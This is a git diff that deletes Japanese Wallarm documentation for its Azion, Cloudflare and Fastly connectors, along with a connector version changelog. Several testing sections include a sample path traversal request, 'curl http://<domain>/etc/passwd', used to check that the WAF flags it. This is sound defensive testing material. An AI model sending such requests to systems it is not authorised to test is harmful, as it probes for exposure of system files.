[support@wallarm.com](mailto:support@wallarm.com)へ連絡してWallarmコードを入手します。 -1. Azion Edgeで、**Billing & Subscriptions**に移動し、**Application Acceleration**と**Edge Functions**のサブスクリプションを有効化します。 -1. 新しい**Edge Application**を作成して保存します。 -1. 作成したアプリケーションを開き → **Main Settings**で**Application Acceleration**と**Edge Functions**を有効化します。 -1. **Domains**に移動し、**Add Domain**をクリックします。 -1. **Edge Functions**に移動し、**Add Function**をクリックして`Edge Firewall`タイプを選択します。 -1. Wallarmソースコードを貼り付け、`wallarm.node.tld`を[前段でデプロイしたWallarmノード](#1-deploy-a-wallarm-node)のアドレスに置き換えます。 -1. **Edge Firewall** → **Add Rule Set** → **Name**を入力 → **Domains**を選択し、**Edge Functions**をオンにします。 -1. **Functions**タブに切り替え、**Add Function**をクリックして先ほど作成した関数を選択します。 -1. **Rules Engine**タブに切り替え → **New Rule**を選択し、Wallarmでフィルタリングするトラフィックの条件を設定します。 - - * すべてのリクエストを解析・フィルタリングするには、`If Request URI starts with /`を選択します。 - * **Behaviors**で`Then Run Function`を選択し、先ほど作成した関数を選びます。 - -## テスト - -デプロイしたポリシーの機能をテストするには、次の手順に従ってください。 - -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストをAPIに送信します。 - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks**セクションを[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェイスのAttacks][attacks-in-ui-image] - - Wallarmノードのモードがブロックに設定されている場合、リクエストもブロックされます。 - -## サポートが必要ですか？ - -Azion Edgeと組み合わせた本ドキュメントのWallarmデプロイで問題が発生した場合や支援が必要な場合は、[Wallarm support](mailto:support@wallarm.com)チームにお問い合わせください。実装プロセス中に直面する問題の解決に向けたガイダンスを提供します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/cloudflare-for-wizard.md b/docs/latest-ja/installation/connectors/cloudflare-for-wizard.md deleted file mode 100644 index 9e837dbf2e..0000000000 --- a/docs/latest-ja/installation/connectors/cloudflare-for-wizard.md +++ /dev/null @@ -1,51 +0,0 @@ -# ウィザード向けCloudflare - -Wallarm Edge nodeをCloudflareに接続すると、トラフィックを[同期](../inline/overview.md)または[非同期](../oob/overview.md)モードで検査できます。いずれのモードでも、リクエストはブロックしません。 - -接続を設定するには、次の手順に従います。 - -1. お使いのプラットフォーム向けに提供されたコードバンドルをダウンロードします。 -1. ダウンロードしたコードを使用して[Cloudflare workerを作成](https://developers.cloudflare.com/workers/get-started/dashboard/)します。 -1. `wallarm_node`パラメータにWallarm nodeのURLを設定します。 -1. [非同期（アウトオブバンド）](../oob/overview.md)モードを使用する場合、`wallarm_mode`パラメータを`async`に設定します。 -1. 必要に応じて、[その他のパラメータ](cloudflare.md#configuration-options)を変更します。 -1. **Website** → your domainで、**Workers Routes** → **Add route**に移動します: - - * **Route**では、Wallarmで検査するためにルーティングするパスを指定します（例：すべてのパスの場合は`*.example.com/*`）。 - * **Worker**では、作成したWallarm workerを選択します。 - -[詳細](cloudflare.md) - - \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/cloudflare.md b/docs/latest-ja/installation/connectors/cloudflare.md deleted file mode 100644 index cc97c3350f..0000000000 --- a/docs/latest-ja/installation/connectors/cloudflare.md +++ /dev/null @@ -1,132 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Cloudflare向けWallarmコネクタ - -[Cloudflare](https://www.cloudflare.com/)は、Webサイトやインターネットアプリケーションのセキュリティ、速度、信頼性を強化するために設計された機能（CDN、WAF、DNSサービス、SSL/TLS暗号化など）を提供するセキュリティ兼パフォーマンスサービスです。WallarmはCloudflare上で稼働するAPIを保護するコネクタとして動作できます。 - -CloudflareのコネクタとしてWallarmを使用するには、Wallarmノードを外部にデプロイし、Wallarmが提供するコードを用いたCloudflare workerを実行して、トラフィックを解析のためにWallarmノードへルーティングする必要があります。 - - Cloudflareコネクタは、[インライン](../inline/overview.md)と[アウトオブバンド](../oob/overview.md)の両方のトラフィックフローをサポートします: - -=== "インラインのトラフィックフロー" - - Wallarmが不正なアクティビティをブロックするように設定されている場合: - - ![CloudflareとWallarm - インライン構成](../../images/waf-installation/gateways/cloudflare/cloudflare-traffic-flow-inline.png) -=== "アウトオブバンドのトラフィックフロー" - ![CloudflareとWallarm - アウトオブバンド構成](../../images/waf-installation/gateways/cloudflare/cloudflare-traffic-flow-oob.png) - -## ユースケース - -アプリケーションへのアクセスをCloudflare経由で提供している場合に本ソリューションの利用を推奨します。 - -## 制限事項 - -* [Helmチャート][helm-chart-native-node]で`LoadBalancer`タイプのWallarmサービスをデプロイする場合、ノードインスタンスのドメインには信頼済みのSSL/TLS証明書が必要です。自己署名証明書はまだサポートしていません。 -* Wallarmルールによる[レート制限][rate-limiting]はサポートしていません。 -* [マルチテナンシー][multi-tenancy]はまだサポートしていません。 - -## 要件 - -デプロイを進める前に、以下の要件を満たしていることを確認してください: - -* Cloudflareのテクノロジーに関する理解。 -* Cloudflareを経由しているAPIまたはトラフィック。 - -## デプロイ - - -### 1. Wallarmノードをデプロイする - -Wallarmノードは、受信トラフィックを検査し、不正なアクティビティを検出し、脅威を緩和するように設定できるWallarmプラットフォームの中核コンポーネントです。 - -必要な管理レベルに応じて、Wallarmがホストするノードとして、またはお客様のインフラストラクチャ内にデプロイできます。 - -=== "Edgeノード" - コネクタ用にWallarmホスト型ノードをデプロイするには、[手順](../security-edge/se-connector.md)に従ってください。 -=== "セルフホストノード" - セルフホストノードのデプロイに使用するアーティファクトを選択し、各手順に従ってください: - - * ベアメタルまたはVM上のLinuxインフラ向けの[All‑in‑oneインストーラー](../native-node/all-in-one.md) - * コンテナ化されたデプロイを使用する環境向けの[Dockerイメージ](../native-node/docker-image.md) - * AWSインフラ向けの[AWS AMI](../native-node/aws-ami.md) - * Kubernetesを利用するインフラ向けの[Helmチャート](../native-node/helm-chart.md) - -### 2. Wallarmのworkerコードを取得してデプロイする - -トラフィックをWallarmノードへルーティングするCloudflare workerを実行するには: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**に移動し、プラットフォーム用のコードバンドルをダウンロードします。 - - セルフホストノードを実行している場合は、sales@wallarm.comに連絡してコードバンドルを入手してください。 -1. ダウンロードしたコードを使用して[Cloudflare workerを作成](https://developers.cloudflare.com/workers/get-started/dashboard/)します。 -1. `wallarm_node`パラメータにWallarmノードのURLを設定します。 -1. [非同期（アウトオブバンド）](../oob/overview.md)モードを使用する場合は、`wallarm_mode`パラメータを`async`に設定します。 -1. 必要に応じて、[その他のパラメータ](cloudflare.md#configuration-options)を変更します。 - - ![Cloudflare worker](../../images/waf-installation/gateways/cloudflare/worker-deploy.png) -1. **Website** → 対象ドメインで、**Workers Routes** → **Add route**に移動します: - - * **Route**で、解析のためにWallarmへルーティングするパスを指定します（すべてのパスに対しては例: `*.example.com/*`）。 - * **Worker**で、作成したWallarm workerを選択します。 - - ![Cloudflareのルート追加](../../images/waf-installation/gateways/cloudflare/add-route.png) - -## テスト - -デプロイ済みソリューションの機能をテストするには、以下を実行します: - -1. APIにテスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストを送信します: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks**セクションを[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェースのAttacks][attacks-in-ui-image] - - Wallarmノードのモードが[blocking](../../admin-en/configure-wallarm-mode.md)に設定され、トラフィックがインラインで流れている場合は、このリクエストもブロックされます。 - - -## 設定オプション - -workerコードでは、以下のパラメータを指定できます: - -| パラメータ | 説明 | 必須か | -| --------- | ----- | ------ | -| `wallarm_node` | お使いの[Wallarmノードインスタンス](#1-deploy-a-wallarm-node)のアドレスを設定します。 | はい | -| `wallarm_mode` | トラフィック処理モードを決定します。`inline`（既定）はトラフィックをWallarmノードで直接処理します。`async`はトラフィックの[コピー](../oob/overview.md)を、元のフローに影響を与えずに解析します。 | いいえ | -| `wallarm_send_rsp_body` | スキーマ[ディスカバリー](../../api-discovery/overview.md)および[ブルートフォース](../../admin-en/configuration-guides/protecting-against-bruteforce.md)などの高度な攻撃検出のためにレスポンスボディの解析を有効にします。既定: `true`（有効）。 | いいえ | -| `wallarm_response_body_limit` | ノードが解析できるレスポンスボディサイズ（バイト）の上限です。既定は`0x4000`です。 | いいえ | -| `wallarm_block_page.custom_path`
        (Workerバージョン1.0.1+) | ノードからのHTTP 403応答で返すカスタムブロッキングページのURL。例: `https://example.com/block-page.html`。
        既定: `null`（`html_page`が`true`の場合は詳細なWallarm提供のエラーページを使用）。 | いいえ | -| `wallarm_block_page.html_page`
        (Workerバージョン1.0.1+) | 不正リクエスト向けのカスタムHTMLブロッキングページを有効にします。既定: `false`（単純なHTTP 403を返します）。 | いいえ | -| `wallarm_block_page.support_email`
        (Workerバージョン1.0.1+) | 問題報告用としてブロッキングページに表示するメールアドレス。既定: `support@mycorp.com`。 | はい（`html_page`が`true`の場合） | - -??? info "Wallarm提供のエラーページを表示" - HTTP 403応答で返されるWallarm提供のエラーページは次のとおりです: - - ![Wallarmのブロッキングページ](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -## Cloudflare workerのアップグレード - -デプロイ済みのCloudflare workerを[新しいバージョン](code-bundle-inventory.md#cloudflare)にアップグレードするには: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**に移動し、更新されたWallarm Cloudflareコードバンドルをダウンロードします。 - - セルフホストノードを実行している場合は、sales@wallarm.comに連絡して更新済みのコードバンドルを入手してください。 -1. デプロイ済みのCloudflare workerのコードを、更新済みバンドルに置き換えます。 - - `wallarm_node`、`wallarm_mode`などの既存のパラメータ値は保持してください。 -1. **Deploy**で更新済みの関数をデプロイします。 - -Workerのアップグレードでは、特にメジャーバージョン更新時にWallarmノードのアップグレードが必要な場合があります。セルフホストノードのリリースノートとアップグレード手順は[Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)を、Edgeノードのアップグレードについては[Edge connectorのアップグレード手順](../security-edge/se-connector.md#upgrading-the-edge-node)を参照してください。非推奨を回避し将来のアップグレードを容易にするため、定期的なノードの更新を推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/code-bundle-inventory.md b/docs/latest-ja/installation/connectors/code-bundle-inventory.md deleted file mode 100644 index a814679bd5..0000000000 --- a/docs/latest-ja/installation/connectors/code-bundle-inventory.md +++ /dev/null @@ -1,178 +0,0 @@ -# コネクタコードバンドルの変更履歴 - -このドキュメントでは、Native Node（MuleSoft、Cloudflareなど）で動作するコネクタコードバンドルのバージョンを一覧します。 - -## バージョン形式 - -コネクタコードバンドルのバージョンは次の形式に従います: - -```bash -.. -``` - -| 要素 | 説明 | -| ------- | ----------- | -| `` | 重要な更新、新機能、または非互換の変更です。[Native Nodeの更新](../../updating-migrating/native-node/node-artifact-versions.md)が必要です。 | -| `` | 非互換の変更を伴わない改善や新機能です。 | -| `` | 軽微なバグ修正や改善です。 | - -## MuleSoft Mule Gateway - -[アップグレード方法](mulesoft.md#upgrading-the-policy) - -現在のバージョンは、ダウンロードしたWallarmポリシーの`pom.xml`ファイル、またはMuleSoft UIのポリシー情報で確認できます。 - -| ポリシーバージョン | [Native Nodeバージョン](../../updating-migrating/native-node/node-artifact-versions.md) | -| ------------------- | ------------------- | -| 2.x | 0.8.2以下 | -| 3.0.x | 0.8.3以上 | -| 3.2.x | 0.10.1以上 | - -### 3.2.0 (2025-01-31) - -Native Nodeバージョン0.10.1以上が必要です。 - -* 悪意のあるリクエストをブロックした際のレスポンスコードを、MuleSoft Enterprise Editionリポジトリの`http-transform`プラグインを使用して403に設定するようにしました。 - - 以前は、レスポンスボディにブロックされたことを示すメッセージを含めて200ステータスコードを返していました。新しいコネクタバージョンを使用するには、標準の`anypoint-exchange-v3`リポジトリに加えて、[Maven `settings.xml`](../../installation/connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange)で`mulesoft-releases-ee`リポジトリの認証が必要です。 -* バグ修正: リクエスト識別子の一意性を確保しました。 -* メモリ消費を最適化しました。 - -### 3.0.1 (2024-11-20) - -* `WALLARM NODE MAX RETRIES`と`WALLARM NODE RETRY INTERVAL`パラメータを追加しました。 - - これらのパラメータにより、ネットワーク障害時にWallarm Nodesへデータを送信する際の最大再試行回数と再試行間隔を設定できます。 - -### 3.0.0 (2024-11-14) - -Native Nodeバージョン0.8.3以上が必要です。 - -* `CLIENT HOST EXPRESSION`と`CLIENT IP EXPRESSION`パラメータを追加しました。 - - これらにより、元のホストおよびリモートIPを抽出するためのカスタム[DataWeave](https://docs.mulesoft.com/dataweave/latest/dw-functions)式を指定でき、[MuleSoftのIP Blocklistポリシー](https://docs.mulesoft.com/mule-gateway/policies-included-ip-blocklist)と整合します。 - -### 2.0.3 (2024-11-13) - -* バグ修正を行いました。 - -### 2.0.2 (2024-11-06) - -* バグ修正を行いました。 - -### 2.0.1 (2024-10-10) - -* 初期リリース - -## MuleSoft Flex Gateway - -[アップグレード方法](mulesoft-flex.md#upgrading-the-policy) - -現在のバージョンは、ダウンロードしたWallarmポリシーの`Cargo.toml` → `[package]` → `version`パラメータ、またはMuleSoft UIのポリシー情報で確認できます。 - -| ポリシーバージョン | [Native Nodeバージョン](../../updating-migrating/native-node/node-artifact-versions.md) | -| ------------------- | ------------------- | -| 1.x.x | 0.16.0以上 | - -### 1.1.0 (2025-08-19) - -* Flex PDKを1.4.0にアップグレードしました。 -* 大きなレスポンス時のGatewayのクラッシュを修正しました。 - -### 1.0.0 (2025-07-23) - -* [初期リリース](mulesoft-flex.md) - -## Akamai - -[アップグレード方法](akamai-edgeworkers.md#upgrading-the-wallarm-edgeworkers) - -現在のバージョンは、ダウンロードしたコードバンドルの`wallarm-main`/`wallarm-sp` → `bundle.json` → `edgeworker-version`で確認できます。 - -| ポリシーバージョン | [Native Nodeバージョン](../../updating-migrating/native-node/node-artifact-versions.md) | -| ------------------- | ------------------- | -| 1.x | 0.16.3以上 | - -### 1.0 (2025-08-18) - -* [初期リリース](akamai-edgeworkers.md) - -## CloudFront - -[アップグレード方法](aws-lambda.md#upgrading-the-lambdaedge-functions) - -### 1.0.0 (2024-10-10) - -* 初期リリース - -## Cloudflare - -[アップグレード方法](cloudflare.md#upgrading-the-cloudflare-worker) - -### 1.0.1 - -* 悪意のあるリクエスト向けのカスタムブロッキングページをサポートしました。以下の[パラメータ](cloudflare.md#configuration-options)で設定できます: - - * `wallarm_block_page.custom_path` - * `wallarm_block_page.html_page` - * `wallarm_block_page.support_email` - -### 1.0.0 (2024-10-10) - -* 初期リリース - -## Kong API Gateway - -[アップグレード方法](kong-api-gateway.md#upgrading-the-wallarm-lua-plugin) - -### 1.0.0 (2024-09-13) - -* 初期リリース - - - -## Broadcom Layer7 API Gateway - -[アップグレード方法](layer7-api-gateway.md#upgrading-the-wallarm-policies) - -### 1.0.0 (2024-11-07) - -* 初期リリース - -## Fastly - -[アップグレード方法](fastly.md#upgrading-the-wallarm-compute-service-on-fastly) - -### 1.2.0 (2025-04-03) - -* 代替の構成を使用できるようにしました。 - - Wallarm用のComputeサービスを複数運用している場合、異なる構成の[config storeを複数作成](../../installation/connectors/fastly.md#4-create-the-wallarm-config-store)し、それぞれを対応するサービスにリンクできます。 - -### 1.1.0 (2025-01-06) - -* オプションの`LOGGING_ENDPOINT`[パラメータ](fastly.md#4-create-the-wallarm-config-store)で設定可能な[ログストリーミングエンドポイント](https://www.fastly.com/documentation/guides/integrations/logging/)をサポートしました。 - -### 1.0.0 (2025-01-02) - -* 初期リリース - -## IBM API Connect - -[アップグレード方法](ibm-api-connect.md#upgrading-the-policies) - -現在のバージョンは、Wallarmポリシーファイルの`info.version`で確認できます。両方のポリシーは同じバージョン番号を使用します。 - -| ポリシーバージョン | [Native Nodeバージョン](../../updating-migrating/native-node/node-artifact-versions.md) | -| ------------------- | ------------------- | -| 1.0.1 | 0.13.x系では0.13.3以降、または0.14.1以降 | - -### 1.0.1 (2025-05-20) - -* 初期リリース \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/fastly-for-wizard.md b/docs/latest-ja/installation/connectors/fastly-for-wizard.md deleted file mode 100644 index 11a45ebd74..0000000000 --- a/docs/latest-ja/installation/connectors/fastly-for-wizard.md +++ /dev/null @@ -1,87 +0,0 @@ -# ウィザード向けFastly - -Wallarm Edge nodeは、APIを[同期](../inline/overview.md)または[非同期](../oob/overview.md)モードで実行しているFastlyに接続できます。いかなるリクエストもブロックしません。 - -以下の手順に従って接続を設定します。 - -**FastlyへのWallarmコードのデプロイ** - -1. プラットフォーム用に提供されたコードバンドルをダウンロードします。 -1. **Fastly** UI → **Account** → **API tokens** → **Personal tokens** → **Create token**に移動します: - - * Type: Automation token - * Scope: Global API access - * 特別な変更が必要な場合を除き、その他の設定はデフォルトのままにします -1. **Fastly** UI → **Compute** → **Compute services** → **Create service** → **Use a local project**に移動し、Wallarmのインスタンスを作成します。 -1. 作成後、生成された`--service-id`をコピーします。 -1. Wallarmパッケージを含むローカルディレクトリに移動し、次のコマンドでデプロイします: - - ``` - fastly compute deploy --service-id= --package=wallarm-api-security.tar.gz --token= - ``` - - 成功メッセージ: - - ``` - SUCCESS: Deployed package (service service_id, version 1) - ``` - -**Wallarm Nodeとバックエンドのホストを指定する** - -解析および転送のために適切なトラフィックルーティングを行うには、Fastlyサービスの設定でWallarm Nodeとバックエンドのホストを定義する必要があります。 - -1. **Fastly** UI → **Compute** → **Compute services** → Wallarm service → **Edit configuration**に移動します。 -1. **Origins**に移動し、**Create hosts**を選択します: - - * 解析のためにトラフィックをWallarm Nodeへルーティングするよう、`wallarm-node`ホストとしてWallarm NodeのURLを追加します。 - * 別のホスト(例: `backend`)としてバックエンドのアドレスを追加し、Wallarm Nodeからオリジンバックエンドへトラフィックを転送します。 -1. 新しいサービスバージョンを**Activate**します。 - -**Wallarm config storeの作成** - -Wallarm固有の設定を定義する`wallarm_config`コンフィグを作成します。 - -1. **Fastly** UI → **Resources** → **Config stores** → **Create a config store**に移動し、次のキー/値項目で`wallarm_config`ストアを作成します: - - * `WALLARM_BACKEND`: Compute service settingsで指定したWallarm Nodeインスタンスのホスト名。 - * `ORIGIN_BACKEND`: Compute service settingsで指定したバックエンドのホスト名。 - * `WALLARM_MODE_ASYNC`: 元のフローに影響を与えないトラフィックの[コピー](../oob/overview.md)解析を有効にします(`true`)、またはインライン解析を有効にします(`false`、デフォルト)。 - - [その他のパラメータ](fastly.md#configuration-options) -1. そのconfig storeをWallarm Compute serviceに**Link**します。 - -[詳細](fastly.md) - - \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/fastly.md b/docs/latest-ja/installation/connectors/fastly.md deleted file mode 100644 index 11364c6ce4..0000000000 --- a/docs/latest-ja/installation/connectors/fastly.md +++ /dev/null @@ -1,415 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Fastly向けWallarmコネクタ - -[Fastly](https://www.fastly.com/)は、CDNサービス、リアルタイムアプリケーション配信、キャッシュ、エッジでカスタムロジックを実行するCompute@Edgeを提供する強力なエッジクラウドプラットフォームです。Wallarmコネクタを使用すると、Fastly上で稼働するAPIを保護できます。 - -WallarmをFastlyコネクタとして使用するには、Wallarm Nodeを外部にデプロイし、Wallarmが提供するバイナリを使用してFastlyのComputeサービスを実行し、トラフィックを解析のためにWallarm Nodeへルーティングする必要があります。 - -Fastlyコネクタは、[インライン](../inline/overview.md)および[アウトオブバンド](../oob/overview.md)のトラフィックフローの両方をサポートします。 - - - -## ユースケース - -このソリューションは、トラフィックをFastly経由で配信している場合に推奨されます。 - -## 制限事項 - -* [Helm chart][helm-chart-native-node]を使用して`LoadBalancer`タイプでWallarmサービスをデプロイする場合、Nodeインスタンスのドメインには信頼されたSSL/TLS証明書が必要です。自己署名証明書はまだサポートされていません。 -* Wallarmルールによる[レート制限][rate-limiting]はサポートされません。 -* [マルチテナンシー][multi-tenancy]にはまだ対応していません。 - -## 前提条件 - -デプロイを進める前に、以下の要件を満たしていることを確認してください。 - -* Fastlyのテクノロジーへの理解があること。 -* Fastly経由でAPIやトラフィックを配信していること。 -* [Fastly CLIのインストール](https://www.fastly.com/documentation/reference/tools/cli/#installing)。 - -## デプロイ - -### 1. Wallarm Nodeをデプロイする - -Wallarm NodeはWallarmプラットフォームの中核コンポーネントで、受信トラフィックを検査し、悪意のあるアクティビティを検出し、脅威を緩和するように構成できます。 - -必要なコントロールの度合いに応じて、Wallarmがホストするか、ご自身のインフラストラクチャにデプロイできます。 - -=== "Edgeノード" - コネクタ向けにWallarmホストのノードをデプロイするには、[手順](../security-edge/se-connector.md)に従います。 -=== "セルフホストノード" - セルフホストノードのデプロイ用アーティファクトを選択し、記載の手順に従います。 - - * ベアメタルまたはVM上のLinuxインフラ向けの[All-in-one installer](../native-node/all-in-one.md) - * コンテナ化デプロイを使用する環境向けの[Docker image](../native-node/docker-image.md) - * AWSインフラ向けの[AWS AMI](../native-node/aws-ami.md) - * Kubernetesを利用するインフラ向けの[Helm chart](../native-node/helm-chart.md) - -### 2. FastlyにWallarmコードをデプロイする - -FastlyからWallarm Nodeへトラフィックをルーティングするには、対応するWallarmロジックを組み込んだFastlyのComputeサービスをデプロイする必要があります。 - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**に進み、Wallarmパッケージをダウンロードします。 - - セルフホストノードを実行している場合は、パッケージを入手するためにsales@wallarm.comに連絡してください。 -1. **Fastly** UI → **Account** → **API tokens** → **Personal tokens** → **Create token**に進みます。 - - * Type: Automation token - * Scope: Global API access - * 特別な変更が必要でない限り、他の設定はデフォルトのままにします - - ![](../../images/waf-installation/gateways/fastly/generate-token.png) -1. **Fastly** UI → **Compute** → **Compute services** → **Create service** → **Use a local project**に進み、Wallarm用のインスタンスを作成します。 - - 作成後、生成された`--service-id`を控えます。 - - ![](../../images/waf-installation/gateways/fastly/create-compute-service.png) -1. Wallarmパッケージを含むローカルディレクトリに移動し、デプロイします。 - - ``` - fastly compute deploy --service-id= --package=wallarm-api-security.tar.gz --token= - ``` - - 成功時のメッセージ: - - ``` - SUCCESS: Deployed package (service service_id, version 1) - ``` - - ??? warning "fastly.tomlの読み取りエラー" - 次のエラーが表示される場合: - - ``` - ✗ Verifying fastly.toml - - ERROR: error reading fastly.toml. - ``` - - `fastly compute publish`ではなく、提供された`fastly compute deploy`を使用していることを確認してください。 - -### 3. Wallarm Nodeとバックエンドのホストを指定する - -解析および転送のために適切にトラフィックをルーティングするには、Fastlyのサービス構成でWallarm Nodeとバックエンドの各ホストを定義する必要があります。 - -1. **Fastly** UI → **Compute** → **Compute services** → Wallarmサービス → **Edit configuration**に進みます。 -1. **Origins**に移動し、**Create hosts**を選択します。 - - * 解析のためにトラフィックをWallarm Nodeへルーティングできるよう、`wallarm-node`ホストとしてWallarm NodeのURLを追加します。 - * ノードからオリジンバックエンドへトラフィックを転送できるよう、別のホストとしてバックエンドのアドレス（例: `backend`）を追加します。 - - ![](../../images/waf-installation/gateways/fastly/hosts.png) -1. 新しいサービスバージョンを**Activate**します。 - -### 4. Wallarmのconfig storeを作成する - -Wallarm固有の設定を定義する`wallarm_config`のconfigを作成します。 - -1. **Fastly** UI → **Resources** → **Config stores** → **Create a config store**に進み、以下のキーと値の項目で`wallarm_config`ストアを作成します。 - - | パラメータ | 説明 | 必須？ | - | --------- | ---- | ------ | - | `WALLARM_BACKEND` | Computeサービス設定で指定したWallarm Nodeインスタンスのホスト名。 | はい | - | `ORIGIN_BACKEND` | Computeサービス設定で指定したバックエンドのホスト名。 | はい | - | `WALLARM_MODE_ASYNC` | 元のフローに影響を与えずにトラフィックの[コピー](../oob/overview.md)を解析する（`true`）か、インラインで解析する（`false`、デフォルト）かを切り替えます。 | いいえ | - - [その他のパラメータ](fastly.md#configuration-options) -1. 作成したconfig storeをWallarmのComputeサービスに**リンク**します。 - -![](../../images/waf-installation/gateways/fastly/config-store.png) - -!!! info "複数サービス向けのConfig store" - Wallarm向けのComputeサービスを複数実行する場合は、次のいずれかを実施できます。 - - * 異なる構成のconfig storeを複数作成し、それぞれを対応するサービスにリンクします。 - * 同じconfig store（例: `wallarm_config`）を複数のサービスで共有します。なお、すべてのサービスは同一のオリジンバックエンド名を使用する必要がありますが、実際のバックエンド値は各サービスの設定でカスタマイズできます。 - -### 5.（オプション）カスタムブロックページを設定する - -Wallarm Nodeがインラインモードで動作し[ブロック](../../admin-en/configure-wallarm-mode.md)する場合、悪意のあるリクエストにはHTTP 403ステータスコードで応答します。応答をカスタマイズするには、FastlyのKV storeを使用してカスタムHTMLブロックページを設定できます。 - -1. **Fastly** UI → **Resources** → **KV stores** → **Create a KV store**に進み、`wallarm`という名前のストアを作成します。 -1. `block_page.html`というキーを追加し、カスタムHTMLブロックページをアップロードします。このページはブロックされたリクエストに返されます。 -1. KV storeをWallarmのComputeサービスに**リンク**します。 - -![](../../images/waf-installation/gateways/fastly/custom-block-page.png) - -??? info "カスタムブロックページ用のWallarmテンプレートを表示" - 開始点として、以下のWallarm提供テンプレートをカスタムブロックページに使用できます。必要に応じて調整し、ユーザーに表示したい情報やデザインに合わせてください。 - - ```html - - - - - - - - You are blocked - - - - - - -
        - - -
        -
        - - - - - -
        Malicious activity blocked
        -
        Your request is blocked since it was identified as a malicious one.
        -
        -
        -
        Why it happened
        -
        - You might have used symbols similar to a malicious code sequence, or uploaded a specific file. -
        - -
        - -
        What to do
        -
        - If your request is considered to be legitimate, please contact us and provide your last action description and the following data: -
        - -
        - IP ${remote_addr}
        - Blocked on ${time_iso8601}
        - UUID ${request_id} -
        - - -
        -
        -
        -
        - - - ``` - -## テスト - -デプロイ済みソリューションの機能をテストするには、次の手順に従います。 - -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストをWallarmのComputeサービスのドメインへ送信します。 - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks**セクションを[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェイスのAttacks][attacks-in-ui-image] - - Wallarm Nodeのモードが[ブロック](../../admin-en/configure-wallarm-mode.md)に設定され、トラフィックがインラインで流れている場合は、そのリクエストもブロックされます。 - -## 構成オプション - -Wallarmのconfig storeでは、次のキーと値の項目を指定できます。 - -| パラメータ | 説明 | 必須？ | -| --------- | ---- | ------ | -| `WALLARM_BACKEND` | Computeサービス設定で指定したWallarm Nodeインスタンスのホスト名。 | はい | -| `ORIGIN_BACKEND` | Computeサービス設定で指定したバックエンドのホスト名。 | はい | -| `WALLARM_MODE_ASYNC` | 元のフローに影響を与えずにトラフィックの[コピー](../oob/overview.md)を解析する（`true`）か、インラインで解析する（`false`、デフォルト）かを切り替えます。 | いいえ | -| `WALLARM_DEBUG` | デバッグ情報をテーリングログに出力します（`true`）。無効にするには`false`（デフォルト）。 | いいえ | -| `WALLARM_RESPONSE_BODY_SIZE_LIMIT` | Nodeが解析できるレスポンスボディサイズの上限（バイト単位）。`none`（デフォルト）のような数値以外の値は無制限を意味します。 | いいえ | -| `ORIGIN_PASS_CACHE` | オリジンバックエンドへ送信されるリクエストをFastlyのキャッシュレイヤーを経由せずに透過的に通過させます（`true`）。デフォルトではFastlyのキャッシュレイヤーを使用します（`false`）。 | いいえ | -| `ORIGIN_PRESERVE_HOST` | オリジンバックエンドのホスト名で`X-Forwarded-Host`ヘッダーに置き換える代わりに、クライアントリクエストの元の`Host`ヘッダーを保持します。元の`Host`に依存してルーティングやログ記録を行うバックエンドに有用です。デフォルト: `false`。 | いいえ | -| `LOGGING_ENDPOINT` | コネクタの[logging endpoint](https://www.fastly.com/documentation/guides/integrations/logging/)を設定します。デフォルトはテーリングログ（stderr）。 | いいえ | - -## Fastly上のWallarm Computeサービスをアップグレードする - -デプロイ済みのFastly Computeサービスを[新しいバージョン](code-bundle-inventory.md#fastly)へアップグレードするには: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**に進み、更新されたコードバンドルをダウンロードします。 - - セルフホストノードを実行している場合は、更新されたコードバンドルを入手するためにsales@wallarm.comに連絡してください。 -1. 